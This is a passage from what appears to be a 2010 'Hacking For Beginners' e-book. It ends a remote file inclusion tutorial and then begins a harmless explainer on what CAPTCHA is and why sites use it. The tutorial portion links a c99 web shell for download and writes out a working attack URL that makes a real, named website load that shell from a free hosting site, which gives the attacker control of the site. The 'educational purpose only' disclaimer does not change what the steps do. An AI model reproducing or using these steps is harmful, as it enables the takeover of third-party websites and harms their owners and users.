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Hacking For Beginners – Manthan Desai 2010 Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. “Download ‘Internet Download manager’ from here: http://www.hackingtech.co.tv/RFI/c99shell.zip “. ” The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc. Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is http://h1.ripway.com/yourdomain/c99.txt Now here is how a hacker would execute the following command to gain access http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/yourdomain/c99.txt? Remember to add "?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it “This Tutorial is for educational purpose only please do not hack any website listed here and try to damage their data. w w w . h a c k i n g t e c h . c o . t v Page 206
Hacking For Beginners – Manthan Desai 2010 40. What is CAPTCHA and how it works? CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA. Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find detailed information on how CAPTCHA works and why they are used. What Purpose does CAPTCHA Exactly Serve? CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve. What is the Need to Create a Test that Can Tell Computers and Humans Apart? For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated software’s to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail. w w w . h a c k i n g t e c h . c o . t v Page 207
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